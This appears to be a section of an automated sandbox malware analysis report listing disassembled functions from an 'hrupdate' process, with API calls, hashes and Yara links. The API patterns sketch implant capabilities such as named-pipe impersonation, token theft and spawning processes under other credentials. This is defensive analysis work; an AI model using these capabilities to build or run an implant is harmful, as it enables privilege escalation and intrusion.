Function 04FD0BB6 Relevance: 10.6, APIs: 7, Instructions: 101COMMON

Download Yara Rule

APIs

__time64.LIBCMT ref: 04FD0BC8

Part of subcall function 04FDDC25: GetSystemTimeAsFileTime.KERNEL32(00000000,?,?,?,04FD0BCD,00000000,00000080,00000000,00000000,?,?,?,04FC35CD,?,00000000,00000000), ref: 04FDDC30
Part of subcall function 04FDDC25: __aulldiv.LIBCMT ref: 04FDDC50

Part of subcall function 04FDDFA9: __getptd.LIBCMT ref: 04FDDFAE

_malloc.LIBCMT ref: 04FD0C0F
_memset.LIBCMT ref: 04FD0C1C
_strtok.LIBCMT ref: 04FD0C36
_strncpy.LIBCMT ref: 04FD0C6E
_strncpy.LIBCMT ref: 04FD0C96
_strtok.LIBCMT ref: 04FD0CA2

Memory Dump Source

Source File: 00000000.00000002.2943543603.0000000004FC3000.00000040.00000800.00020000.00000000.sdmp, Offset: 04FC3000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4fc3000_hrupdate.jbxd

Similarity

API ID: Time_strncpy_strtok$FileSystem__aulldiv__getptd__time64_malloc_memset
String ID:
API String ID: 3612108075-0
Opcode ID: 1bc4c579327d68de2b10e2c594e4092247c8c89927ec089e94bf99a343215bcc
Instruction ID: 26f044371840e1ec3d6d1454ad7173e14bf7d331b8382ed6b8b49ab1c6eb7b8a
Opcode Fuzzy Hash: 1bc4c579327d68de2b10e2c594e4092247c8c89927ec089e94bf99a343215bcc
Instruction Fuzzy Hash: E331C0B2600606AFEB149F74DC85FAB7BEEEB44259F084529F51AC7180EB31F54A8750

Function 04FD37B4 Relevance: 10.6, APIs: 7, Instructions: 81COMMON

Download Yara Rule

APIs

GetLastError.KERNEL32 ref: 04FD37E8
OpenProcessToken.ADVAPI32(00000000,?,00000000), ref: 04FD3806
GetLastError.KERNEL32 ref: 04FD3810

Memory Dump Source

Source File: 00000000.00000002.2943543603.0000000004FC3000.00000040.00000800.00020000.00000000.sdmp, Offset: 04FC3000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4fc3000_hrupdate.jbxd

Similarity

API ID: ErrorLast$OpenProcessToken
String ID:
API String ID: 2009710997-0
Opcode ID: 44a1d56fcb97722d17a3c982c20d06ad0b28288f93a6f0ec7f2bf31e875b694f
Instruction ID: a81a6a8acfe3a1085d74d03d2edbfbd191920f2feddf51f7851abee0d3683f71
Opcode Fuzzy Hash: 44a1d56fcb97722d17a3c982c20d06ad0b28288f93a6f0ec7f2bf31e875b694f
Instruction Fuzzy Hash: E62169B2A40305BFF7506FF1EC4DF5E3A6DEF00719F140034BB0594090EAB4A945D656

Function 04FC773A Relevance: 10.6, APIs: 7, Instructions: 59pipethreadCOMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 04FC7757
GetLastError.KERNEL32 ref: 04FC776A
ConnectNamedPipe.KERNEL32(00000000), ref: 04FC777E
ImpersonateNamedPipeClient.ADVAPI32 ref: 04FC77A9
GetCurrentThread.KERNEL32 ref: 04FC77BE
OpenThreadToken.ADVAPI32(00000000), ref: 04FC77C5
DisconnectNamedPipe.KERNEL32(9F7C69F4), ref: 04FC77D9

Memory Dump Source

Source File: 00000000.00000002.2943543603.0000000004FC3000.00000040.00000800.00020000.00000000.sdmp, Offset: 04FC3000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4fc3000_hrupdate.jbxd

Similarity

API ID: NamedPipe$Thread$ClientConnectCurrentDisconnectErrorImpersonateLastOpenToken_memset
String ID:
API String ID: 3598867581-0
Opcode ID: 3b1c41e5b35e4c3e30ff6538123a19314dce94195a470724c29b27b8f252a5b7
Instruction ID: 41baf0d732bc0930d788ca93b76e06194ce63a5e99529101ff68933000cce555
Opcode Fuzzy Hash: 3b1c41e5b35e4c3e30ff6538123a19314dce94195a470724c29b27b8f252a5b7
Instruction Fuzzy Hash: 0011307194020EAFFB106FA0BE85E6A3BADEF00749F440464F605D1091DB79AD55DFA1

Function 04FCB9E3 Relevance: 10.6, APIs: 7, Instructions: 59COMMON

Download Yara Rule

APIs

GetTickCount.KERNEL32 ref: 04FCB9F1
ioctlsocket.WS2_32(?,8004667E,?), ref: 04FCBA15
GetTickCount.KERNEL32 ref: 04FCBA4C
ioctlsocket.WS2_32(00000000,8004667E,00000000), ref: 04FCBA71

Memory Dump Source

Source File: 00000000.00000002.2943543603.0000000004FC3000.00000040.00000800.00020000.00000000.sdmp, Offset: 04FC3000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4fc3000_hrupdate.jbxd

Similarity

API ID: CountTickioctlsocket
String ID:
API String ID: 3686034022-0
Opcode ID: 392131720c1807619be52301bcaf7c93c2141d925671ba5d3cbdc6a6d49227d4
Instruction ID: d241ea2ec8a437e8bd4569225cfd6e79758355311e9dba925580775bda35be92
Opcode Fuzzy Hash: 392131720c1807619be52301bcaf7c93c2141d925671ba5d3cbdc6a6d49227d4
Instruction Fuzzy Hash: 8A11A37695010DBFEB008FA0EC45BED7BACEF00765F008025FD45D6090DB78BA459B62

Function 00B02A10 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 53COMMON

Download Yara Rule

APIs

?_Xlength_error@std@@YAXPBD@Z.MSVCP140(string too long,00B02864,00000000,?,?,?,00000000,?,?,?,?,?,?,?,00000000), ref: 00B02A15
_Mtx_unlock.MSVCP140(?,21DC2236,?,00000000,00000000,00B03E90,000000FF), ref: 00B02A66
?_Throw_C_error@std@@YAXH@Z.MSVCP140(00000000), ref: 00B02A74
_Mtx_destroy.MSVCP140(?), ref: 00B02A7E
_Cnd_destroy.MSVCP140(?,?,?,?,00000000,?,?,?,?,?,?,?,00000000), ref: 00B02A88

Strings

string too long, xrefs: 00B02A10

Memory Dump Source

Source File: 00000000.00000002.2942621894.0000000000B01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B00000, based on PE: true

Associated: 00000000.00000002.2942591861.0000000000B00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2942653485.0000000000B04000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2942691161.0000000000B06000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2942715689.0000000000B07000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2942715689.0000000000B20000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b00000_hrupdate.jbxd

Similarity

API ID: C_error@std@@Cnd_destroyMtx_destroyMtx_unlockThrow_Xlength_error@std@@
String ID: string too long
API String ID: 1781926451-2556327735
Opcode ID: 23d9c026dbc7f27fdbe2fde26df8a43885fd94b90bf731b408179e1a32e762bf
Instruction ID: ed7728ae9ee092d48b68cf4b1d27c5d9ced92a105ede35fe05dcf57d477e3296
Opcode Fuzzy Hash: 23d9c026dbc7f27fdbe2fde26df8a43885fd94b90bf731b408179e1a32e762bf
Instruction Fuzzy Hash: B001B5B1900604EBD7109B54EC09B5B7BECEF05724F044579FB16E3790EF35A91887A5

Function 04FCE317 Relevance: 9.2, APIs: 6, Instructions: 161processCOMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 04FCE339

Part of subcall function 04FC48BF: _malloc.LIBCMT ref: 04FC48C5

GetCurrentProcess.KERNEL32 ref: 04FCE384
CreateToolhelp32Snapshot.KERNEL32(00000002,00000000), ref: 04FCE3B9
Process32First.KERNEL32(00000000,?), ref: 04FCE3DB

Part of subcall function 04FC490F: htonl.WS2_32(00000000), ref: 04FC4915

Process32Next.KERNEL32(00000000,00000128), ref: 04FCE4BE

Part of subcall function 04FCE2AA: OpenProcessToken.ADVAPI32(?,00000008,?), ref: 04FCE2B7

ProcessIdToSessionId.KERNEL32(?,?,?,00000002,00000000), ref: 04FCE463

Memory Dump Source

Source File: 00000000.00000002.2943543603.0000000004FC3000.00000040.00000800.00020000.00000000.sdmp, Offset: 04FC3000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4fc3000_hrupdate.jbxd

Similarity

API ID: Process$Process32$CreateCurrentFirstNextOpenSessionSnapshotTokenToolhelp32_malloc_memsethtonl
String ID:
API String ID: 3674674043-0
Opcode ID: 8bf9552a858bc2318ec333ea176e3b882181de349b4bc6b8c341cd4bfbf53bff
Instruction ID: 051c74c6bbce7fa945f00580f835c24a89fae0f852b8eb6f0527090b81aee91d
Opcode Fuzzy Hash: 8bf9552a858bc2318ec333ea176e3b882181de349b4bc6b8c341cd4bfbf53bff
Instruction Fuzzy Hash: A5516872D0421BAAFF21ABE09D45FEF7BBCDF04319F100059E608E2150EA35B6478B95

Function 04FC7C34 Relevance: 9.1, APIs: 6, Instructions: 132COMMON

Download Yara Rule

APIs

Part of subcall function 04FCE2E8: GetCurrentProcess.KERNEL32(?,04FC9F55,?,04FC9FAD), ref: 04FCE2F4

GetLastError.KERNEL32(?,?,?,04FCD106,00000000), ref: 04FC7C85
_malloc.LIBCMT ref: 04FC7CF4
_memset.LIBCMT ref: 04FC7D03
_memset.LIBCMT ref: 04FC7D34
GetLastError.KERNEL32 ref: 04FC7D62
_memset.LIBCMT ref: 04FC7D77

Memory Dump Source

Source File: 00000000.00000002.2943543603.0000000004FC3000.00000040.00000800.00020000.00000000.sdmp, Offset: 04FC3000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4fc3000_hrupdate.jbxd

Similarity

API ID: _memset$ErrorLast$CurrentProcess_malloc
String ID:
API String ID: 2196066725-0
Opcode ID: 22ead761a0adf3e1ec90099f95783a74f7fd12e851408f4e08a59c2c885fb25d
Instruction ID: 0deca970a44cd2e487fdee136b644d4fd2670695552012fba5e1ad059028dbe8
Opcode Fuzzy Hash: 22ead761a0adf3e1ec90099f95783a74f7fd12e851408f4e08a59c2c885fb25d
Instruction Fuzzy Hash: 3D41AEA690010BBEFB10BBE5DD41EBFB3BDDF04658F040069FA44D1081EA76A952DB76

Function 04FC81A0 Relevance: 9.1, APIs: 6, Instructions: 130processCOMMON

Download Yara Rule

APIs

Part of subcall function 04FCBF5F: _malloc.LIBCMT ref: 04FCBF65
Part of subcall function 04FCBF5F: _malloc.LIBCMT ref: 04FCBF75

_memset.LIBCMT ref: 04FC8203
GetStartupInfoA.KERNEL32(?), ref: 04FC821B

Part of subcall function 04FC6635: MultiByteToWideChar.KERNEL32(00000000,00000000,?,000000FF,00000000,00000000,00000400,04FC80F0,?,04FC7F09,04FC80F0,?,00000400), ref: 04FC664B
Part of subcall function 04FC6635: MultiByteToWideChar.KERNEL32(00000000,00000000,?,000000FF,04FC80F0,04FC7F09,?,04FC7F09,04FC80F0,?,00000400,?,?,?,?,04FC80F0), ref: 04FC6664

GetCurrentDirectoryW.KERNEL32(00000000,00000000), ref: 04FC8280
GetCurrentDirectoryW.KERNEL32(00000400,?), ref: 04FC828A
CreateProcessWithLogonW.ADVAPI32(?,?,?,00000001,00000000,00000000,00000000,00000000,00000000,?,04FC673C), ref: 04FC82B5
GetLastError.KERNEL32 ref: 04FC82C4

Part of subcall function 04FC5B06: _vswprintf_s.LIBCMT ref: 04FC5B22

Memory Dump Source

Source File: 00000000.00000002.2943543603.0000000004FC3000.00000040.00000800.00020000.00000000.sdmp, Offset: 04FC3000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4fc3000_hrupdate.jbxd

Similarity

API ID: ByteCharCurrentDirectoryMultiWide_malloc$CreateErrorInfoLastLogonProcessStartupWith_memset_vswprintf_s
String ID:
API String ID: 963358868-0
Opcode ID: 6883fa6f1bb7b8e4aaf8631a50f509be6502bf58d81b26b3580abfd6ae75d0d8
Instruction ID: 0955a9398cb6787150297bef45048d46671f2b003dfc8beae11cbeae05eb7dc8
Opcode Fuzzy Hash: 6883fa6f1bb7b8e4aaf8631a50f509be6502bf58d81b26b3580abfd6ae75d0d8
Instruction Fuzzy Hash: 32417F71D00209BBEF01AFE6DD48EDFBFB9EF88354F000019F608A6160D675A912DB61

Function 04FCB0B4 Relevance: 9.1, APIs: 6, Instructions: 113pipesleepCOMMON

Download Yara Rule

APIs

GetNamedPipeInfo.KERNELBASE(?,00000000,?,00000000,00000000), ref: 04FCB11C
SetNamedPipeHandleState.KERNEL32(?,00000001,00000000,00000000), ref: 04FCB133
Sleep.KERNEL32(000001F4), ref: 04FCB189
GetLastError.KERNEL32 ref: 04FCB1A2
SetNamedPipeHandleState.KERNEL32(?,00000001,00000000,00000000), ref: 04FCB1BE
GetLastError.KERNEL32 ref: 04FCB1C8

Memory Dump Source

Source File: 00000000.00000002.2943543603.0000000004FC3000.00000040.00000800.00020000.00000000.sdmp, Offset: 04FC3000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4fc3000_hrupdate.jbxd

Similarity

API ID: NamedPipe$ErrorHandleLastState$InfoSleep
String ID:
API String ID: 1433407474-0
Opcode ID: 72f99232b0af8308c0375ee75c2ea2643b7730e09894c0f6faa03cb214b390d6
Instruction ID: 0d2d5ed15969a2379a864b95f2fe8e482253f36a9c731d2ed30f1c6cfa7825de
Opcode Fuzzy Hash: 72f99232b0af8308c0375ee75c2ea2643b7730e09894c0f6faa03cb214b390d6
Instruction Fuzzy Hash: ED315DB6D0420AEFEF10DF95ED869BEB7BDFF04305B10446EE501A2140E630BA86CB61

Function 04FCD2E4 Relevance: 9.1, APIs: 6, Instructions: 99threadCOMMON

Download Yara Rule

APIs

GetLastError.KERNEL32 ref: 04FCD306
UpdateProcThreadAttribute.KERNELBASE(00000000,00000000,00020000,?,00000004,00000000,00000000), ref: 04FCD334
GetLastError.KERNEL32 ref: 04FCD33E
GetCurrentProcess.KERNEL32(00000000,?,?,00000000,00000001,00000003), ref: 04FCD376
GetCurrentProcess.KERNEL32(00000000,?,?,00000000,00000001,00000003), ref: 04FCD39E
GetCurrentProcess.KERNEL32(00000000,?,?,00000000,00000001,00000003), ref: 04FCD3BD

Memory Dump Source

Source File: 00000000.00000002.2943543603.0000000004FC3000.00000040.00000800.00020000.00000000.sdmp, Offset: 04FC3000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4fc3000_hrupdate.jbxd

Similarity

API ID: CurrentProcess$ErrorLast$AttributeProcThreadUpdate
String ID:
API String ID: 1014270282-0
Opcode ID: e2ab51d6e893eb867d36b62f4a430cc24a3017c8b0463a31aa13dee092d7fe9e
Instruction ID: cd63dd8f5f0aae6dab839801a1aa297a6bd2703851ab79abf0a1e8aae686561f
Opcode Fuzzy Hash: e2ab51d6e893eb867d36b62f4a430cc24a3017c8b0463a31aa13dee092d7fe9e
Instruction Fuzzy Hash: 6621B671A00316BBEF216F919D89F6F3F6DEF44750F140428F604DA180D675A902D6F1

Function 030D0A00 Relevance: 9.1, APIs: 6, Instructions: 83networkCOMMON

Download Yara Rule

APIs

accept.WS2_32(?,00000000,00000000), ref: 030D0A19
recv.WS2_32(?,?,00000001,00000002), ref: 030D0A44

Memory Dump Source

Source File: 00000000.00000002.2943261840.00000000030D0000.00000020.00000800.00020000.00000000.sdmp, Offset: 030D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_30d0000_hrupdate.jbxd

Similarity

API ID: acceptrecv
String ID:
API String ID: 1078442044-0
Opcode ID: 6e962035ec25cf2fbf3ac19bd4c125f38f0688742753830840ed1eef832f9458
Instruction ID: 0714332ce589f33ef4ab701d4945f86aee8a779c80960117a6394586b619a233
Opcode Fuzzy Hash: 6e962035ec25cf2fbf3ac19bd4c125f38f0688742753830840ed1eef832f9458
Instruction Fuzzy Hash: 14314534B02308EFEB54DF58C845BAEBBF5EB44705F148488F90A9B280D775E989CB90

Function 04FCAB3D Relevance: 9.1, APIs: 6, Instructions: 80synchronizationCOMMON

Download Yara Rule

APIs

_malloc.LIBCMT ref: 04FCAB53

Part of subcall function 04FDDA1B: __FF_MSGBANNER.LIBCMT ref: 04FDDA3E
Part of subcall function 04FDDA1B: __NMSG_WRITE.LIBCMT ref: 04FDDA45
Part of subcall function 04FDDA1B: RtlAllocateHeap.NTDLL(00000000,?), ref: 04FDDA92

htonl.WS2_32(0B05BF21), ref: 04FCAB5D
htonl.WS2_32(?), ref: 04FCAB67
htonl.WS2_32(?), ref: 04FCAB72
WaitForSingleObject.KERNEL32(?,00000000,?,?,0B05BF21,00000001,00000000,00000000,04FC38C6), ref: 04FCABD1
_memset.LIBCMT ref: 04FCAC02

Part of subcall function 04FCACE9: PeekNamedPipe.KERNEL32(00000000,00000000,00000004,04FC38C6,00000000,00000000,00000001,0B05BF21,00000000,0B05BF21,00000001,00000000,00000000,04FC38C6), ref: 04FCAD21
Part of subcall function 04FCACE9: htonl.WS2_32(?), ref: 04FCAD3F
Part of subcall function 04FCACE9: PeekNamedPipe.KERNEL32(00000008,?,00000004,00000004,00000008,00000000), ref: 04FCAD8E

Memory Dump Source

Source File: 00000000.00000002.2943543603.0000000004FC3000.00000040.00000800.00020000.00000000.sdmp, Offset: 04FC3000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4fc3000_hrupdate.jbxd

Similarity

API ID: htonl$NamedPeekPipe$AllocateHeapObjectSingleWait_malloc_memset
String ID:
API String ID: 3572882391-0
Opcode ID: 9165f39b7b214133181e4013514fd110f7224f61ea7dd2e3d477a942742c38b8
Instruction ID: 8d13e9c19d7f83521859891e8e510b21439185e0653e3c7ed2613938606ebe46
Opcode Fuzzy Hash: 9165f39b7b214133181e4013514fd110f7224f61ea7dd2e3d477a942742c38b8
Instruction Fuzzy Hash: 7821D436D0071A9FE7316F749F40B7673AAEF40328714492EE9858A051F731F8878761

Function 04FC99C6 Relevance: 9.1, APIs: 6, Instructions: 73COMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 04FC99D6
_memset.LIBCMT ref: 04FC99E2

Part of subcall function 04FC9B4C: _malloc.LIBCMT ref: 04FC9B9E
Part of subcall function 04FC9B4C: _malloc.LIBCMT ref: 04FC9BA9
Part of subcall function 04FC9B4C: _memset.LIBCMT ref: 04FC9BB5
Part of subcall function 04FC9B4C: _memset.LIBCMT ref: 04FC9BC0
Part of subcall function 04FC9B4C: _rand.LIBCMT ref: 04FC9C1E

__snprintf.LIBCMT ref: 04FC9A33
__snprintf.LIBCMT ref: 04FC9A4B
_memset.LIBCMT ref: 04FC9A6A
_memset.LIBCMT ref: 04FC9A75

Memory Dump Source

Source File: 00000000.00000002.2943543603.0000000004FC3000.00000040.00000800.00020000.00000000.sdmp, Offset: 04FC3000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4fc3000_hrupdate.jbxd

Similarity

API ID: _memset$__snprintf_malloc$_rand
String ID:
API String ID: 1876596931-0
Opcode ID: 3ab76693c85f7c8b0df6cf2efac4df2f23407f6b9f118f724d732a0b4dddca48
Instruction ID: ac2b16a3b0e90cafd1600e9bc179e3babfc478eae3439853c8dffd9642f424d3
Opcode Fuzzy Hash: 3ab76693c85f7c8b0df6cf2efac4df2f23407f6b9f118f724d732a0b4dddca48
Instruction Fuzzy Hash: 5C216FB2900104FBEF14AF15CD81F5B7B69EF91708F544098EE006B296D6B1FE22CAA5

Function 04FD30BA Relevance: 9.1, APIs: 6, Instructions: 70COMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 04FD30DE
_memset.LIBCMT ref: 04FD30EC
_memset.LIBCMT ref: 04FD30FA
GetTokenInformation.ADVAPI32(?,00000001(TokenIntegrityLevel),?,00001000,?), ref: 04FD3117
LookupAccountSidA.ADVAPI32(00000000,?,?,?,?,?,?), ref: 04FD3146
__snprintf.LIBCMT ref: 04FD3168

Memory Dump Source

Source File: 00000000.00000002.2943543603.0000000004FC3000.00000040.00000800.00020000.00000000.sdmp, Offset: 04FC3000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4fc3000_hrupdate.jbxd

Similarity

API ID: _memset$AccountInformationLookupToken__snprintf
String ID:
API String ID: 2009363630-0
Opcode ID: 5bb153b6c4cdc11f372429f20f512a98ffc8b83a1de7cb42c0d9b4e93b7cdc18
Instruction ID: 1182d0b6c440dfdf9565ecf573c1521b0eaf37a148c2352d4b47a6d89de8482c
Opcode Fuzzy Hash: 5bb153b6c4cdc11f372429f20f512a98ffc8b83a1de7cb42c0d9b4e93b7cdc18
Instruction Fuzzy Hash: 5621D3B2D0021DBEEB11DAD1DC84EEF77BCEF04748F0444BABA15E2111E674AB858B64

Function 04FC4261 Relevance: 7.7, APIs: 5, Instructions: 228COMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 04FC4285
_memset.LIBCMT ref: 04FC4296
_memset.LIBCMT ref: 04FC42A5
_strncpy.LIBCMT ref: 04FC4454
_strncpy.LIBCMT ref: 04FC4475

Memory Dump Source

Source File: 00000000.00000002.2943543603.0000000004FC3000.00000040.00000800.00020000.00000000.sdmp, Offset: 04FC3000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4fc3000_hrupdate.jbxd

Similarity

API ID: _memset$_strncpy
String ID:
API String ID: 3537405232-0
Opcode ID: 6e042d746d1d594135fbca47d0afb172622c9a4fa346a5672d678b3b06c6056f
Instruction ID: 358e126f7e271cf1dd1b4a3b61438a545be2ad186dc29e01c2d9a3e73f6432d4
Opcode Fuzzy Hash: 6e042d746d1d594135fbca47d0afb172622c9a4fa346a5672d678b3b06c6056f
Instruction Fuzzy Hash: 1C81C372D0020BABEB10DBA4DE55FEE7BBCAF45318F14456AE514E7181E731F6068BA0

Function 04FC3A3A Relevance: 7.7, APIs: 5, Instructions: 169COMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 04FC3A55
_memset.LIBCMT ref: 04FC3A64
_memset.LIBCMT ref: 04FC3B2E
_strncpy.LIBCMT ref: 04FC3B53
_strncpy.LIBCMT ref: 04FC3B7A

Part of subcall function 04FC4A58: _memset.LIBCMT ref: 04FC4A66

Memory Dump Source

Source File: 00000000.00000002.2943543603.0000000004FC3000.00000040.00000800.00020000.00000000.sdmp, Offset: 04FC3000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4fc3000_hrupdate.jbxd

Similarity

API ID: _memset$_strncpy
String ID:
API String ID: 3537405232-0
Opcode ID: 8ac07fba0ed1d9553a2976d14e0964b8804b2fe4e3c87d8c7583f7bdfd4b0fd8
Instruction ID: 81ee9bbbb82d93d48a80697974c83570eb188043eee0c89c6f3a0e6927ff264c
Opcode Fuzzy Hash: 8ac07fba0ed1d9553a2976d14e0964b8804b2fe4e3c87d8c7583f7bdfd4b0fd8
Instruction Fuzzy Hash: C251B971D4024BAAEB10DBE0DD51FEE777CAB04348F04C47AE915AB081EA35B65B8B51

Function 04FC69E2 Relevance: 7.6, APIs: 5, Instructions: 99timeCOMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 04FC6A00

Part of subcall function 04FD3DDD: htonl.WS2_32(?), ref: 04FD3E37
Part of subcall function 04FD3DDD: htonl.WS2_32(?), ref: 04FD3E41

GetLocalTime.KERNEL32(?), ref: 04FC6A28
GetLocalTime.KERNEL32(?), ref: 04FC6A72
GetLocalTime.KERNEL32(?), ref: 04FC6ABA
GetCurrentDirectoryA.KERNEL32(00000800,00000000), ref: 04FC6AE2

Memory Dump Source

Source File: 00000000.00000002.2943543603.0000000004FC3000.00000040.00000800.00020000.00000000.sdmp, Offset: 04FC3000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4fc3000_hrupdate.jbxd

Similarity

API ID: LocalTime$htonl$CurrentDirectory_memset
String ID:
API String ID: 1947157357-0
Opcode ID: 2f68faadb9878a6d329df244b81eaae9472fc529b467df0a2fe1953eed8ef3e3
Instruction ID: 93b9cfc81567c394862babb0217b33af612b35f01c208e14ce2f6bffb0d91076
Opcode Fuzzy Hash: 2f68faadb9878a6d329df244b81eaae9472fc529b467df0a2fe1953eed8ef3e3
Instruction Fuzzy Hash: 3D31C772D402096EFB20ABF4DD49BAE77ACEF04714F104475E504EA0C0EE78E6524A90

Function 04FC9A90 Relevance: 7.6, APIs: 5, Instructions: 72COMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 04FC9AA0
_memset.LIBCMT ref: 04FC9AAC

Part of subcall function 04FC9B4C: _malloc.LIBCMT ref: 04FC9B9E
Part of subcall function 04FC9B4C: _malloc.LIBCMT ref: 04FC9BA9
Part of subcall function 04FC9B4C: _memset.LIBCMT ref: 04FC9BB5
Part of subcall function 04FC9B4C: _memset.LIBCMT ref: 04FC9BC0
Part of subcall function 04FC9B4C: _rand.LIBCMT ref: 04FC9C1E

__snprintf.LIBCMT ref: 04FC9B08
_memset.LIBCMT ref: 04FC9B26
_memset.LIBCMT ref: 04FC9B31

Memory Dump Source

Source File: 00000000.00000002.2943543603.0000000004FC3000.00000040.00000800.00020000.00000000.sdmp, Offset: 04FC3000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4fc3000_hrupdate.jbxd

Similarity

API ID: _memset$_malloc$__snprintf_rand
String ID:
API String ID: 4266533377-0
Opcode ID: 4c94e9a61e663f5e9117e5686e164518248f025a2dbd72e5963d5139a1354bb7
Instruction ID: 41721947f0a9f75d48314b54f55c589737cff40d5949a6dc0c35f72af8f2cbd7
Opcode Fuzzy Hash: 4c94e9a61e663f5e9117e5686e164518248f025a2dbd72e5963d5139a1354bb7
Instruction Fuzzy Hash: 8421CD72900114BBDF15AE15CD81F9B7B6AEF82708F254084ED006B296D6B1FE22CAE4

Function 04FC80A3 Relevance: 7.6, APIs: 5, Instructions: 65processCOMMON

Download Yara Rule

APIs

CreateProcessAsUserA.ADVAPI32(B52F6D90,00000000,04FCD106,00000000,00000000,00000001,3D8359EC,00000000,00000000,458D0874,55FF50D4,?,?,00000011,04FC819B,?), ref: 04FC80C9
GetLastError.KERNEL32(?,?,04FCD106,?), ref: 04FC80D9
GetLastError.KERNEL32(?,?,04FCD106,?), ref: 04FC80F3

Part of subcall function 04FC7E95: _memset.LIBCMT ref: 04FC7EC3
Part of subcall function 04FC7E95: _memset.LIBCMT ref: 04FC7EDF

CreateProcessA.KERNEL32(00000000,04FCD106,00000000,00000000,00000001,3D8359EC,00000000,00000000,458D0874,55FF50D4,?,?,00000011,04FC819B,?,?), ref: 04FC8118
GetLastError.KERNEL32(?,?,04FCD106,?), ref: 04FC8122

Memory Dump Source

Source File: 00000000.00000002.2943543603.0000000004FC3000.00000040.00000800.00020000.00000000.sdmp, Offset: 04FC3000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4fc3000_hrupdate.jbxd

Similarity

API ID: ErrorLast$CreateProcess_memset$User
String ID:
API String ID: 3779600536-0
Opcode ID: 5df6ceb2c830d35b9b725822a9dd97e49c89044803d3a417bf124557ffe27b2f
Instruction ID: 428eb7fff7277853d9f27f095c324d15d6a31db90630853dbc30a36738ce3a83
Opcode Fuzzy Hash: 5df6ceb2c830d35b9b725822a9dd97e49c89044803d3a417bf124557ffe27b2f
Instruction Fuzzy Hash: 2F115E32640742BFDB326FA2AD48D277BBEEFC5B96F10481DF58281050DB25A852DB31

Function 04FCCB9B Relevance: 7.6, APIs: 5, Instructions: 58COMMON

Download Yara Rule

APIs

GetTickCount.KERNEL32 ref: 04FCCBC0
GetTickCount.KERNEL32 ref: 04FCCBD8
shutdown.WS2_32(?,00000002), ref: 04FCCBF3
shutdown.WS2_32(?,00000002), ref: 04FCCC00
closesocket.WS2_32(?), ref: 04FCCC05

Memory Dump Source

Source File: 00000000.00000002.2943543603.0000000004FC3000.00000040.00000800.00020000.00000000.sdmp, Offset: 04FC3000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4fc3000_hrupdate.jbxd

Similarity

API ID: CountTickshutdown$closesocket
String ID:
API String ID: 3414035747-0
Opcode ID: 8aa895088dce4e0efb4e0c328f532a5c221c3b564b422eab592d5cc5a89b27d7
Instruction ID: 80b0521b61f7d173917d2a8ecf9ad366e50d0bdbe279cea21c10f421819ad55d
Opcode Fuzzy Hash: 8aa895088dce4e0efb4e0c328f532a5c221c3b564b422eab592d5cc5a89b27d7
Instruction Fuzzy Hash: 7C118F32D00B82CFEB319F64EA44A26B3E5FF04710B054A2ED48A93944EB35F802CB51

Function 030D0840 Relevance: 7.6, APIs: 5, Instructions: 53COMMON

Download Yara Rule

APIs

VirtualFree.KERNEL32(?,00000000,00008000), ref: 030D086E

Memory Dump Source

Source File: 00000000.00000002.2943261840.00000000030D0000.00000020.00000800.00020000.00000000.sdmp, Offset: 030D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_30d0000_hrupdate.jbxd

Similarity

API ID: FreeVirtual
String ID:
API String ID: 1263568516-0
Opcode ID: 2a134d492770cdc7aa311e60dcd2e1e8c56654894d83c164e59a33a638aa477b
Instruction ID: 117aacebc6f41eb907db5de15acc466b301cafd34e1bb35c46d83381d73a49a5
Opcode Fuzzy Hash: 2a134d492770cdc7aa311e60dcd2e1e8c56654894d83c164e59a33a638aa477b
Instruction Fuzzy Hash: 73215934602345EFCB54DF94C088BA97BE5BF44340F1481A8E98D5F245CB31E882CBD0

Function 04FCADB3 Relevance: 7.5, APIs: 5, Instructions: 49pipeCOMMON

Download Yara Rule

APIs

Part of subcall function 04FD2BBA: _memset.LIBCMT ref: 04FD2C43

GetLastError.KERNEL32(74DF23A0,?,?,?,04FCAE7B,?,-0000EA60,?,?,04FC6D15,?,?), ref: 04FCADC3
WaitNamedPipeA.KERNEL32(?,00002710), ref: 04FCADD8
